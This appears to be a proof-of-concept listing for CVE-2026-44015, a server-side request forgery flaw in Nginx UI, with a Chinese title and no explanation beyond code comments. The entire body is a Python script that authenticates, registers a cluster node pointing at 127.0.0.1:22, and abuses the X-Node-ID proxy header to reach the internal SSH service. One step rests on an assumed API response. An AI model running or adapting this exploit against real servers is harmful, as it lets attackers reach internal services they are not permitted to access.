CVE-2026-44015 Nginx UI 服务端请求伪造漏洞

import requests # Configuration TARGET_URL = "http://vulnerable-nginx-ui.com" USERNAME = "attacker" PASSWORD = "password" INTERNAL_TARGET = "http://127.0.0.1:22" # Targeting internal SSH session = requests.Session() # Step 1: Authenticate to obtain a valid session login_payload = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/api/login", json=login_payload) # Step 2: Create a malicious cluster node pointing to internal address node_payload = { "name": "Internal Node", "url": INTERNAL_TARGET } create_node_resp = session.post(f"{TARGET_URL}/api/nodes", json=node_payload) node_id = create_node_resp.json().get('id') # Assuming API returns ID # Step 3: Send SSRF request using the X-Node-ID header # The Proxy middleware forwards the request to the node's URL headers = { "X-Node-ID": str(node_id) } # Sending a request that will be proxied to 127.0.0.1:22 ssrf_resp = session.get(f"{TARGET_URL}/api/some-endpoint", headers=headers) print(f"Response Status: {ssrf_resp.status_code}") print(f"Response Body: {ssrf_resp.text[:200]}")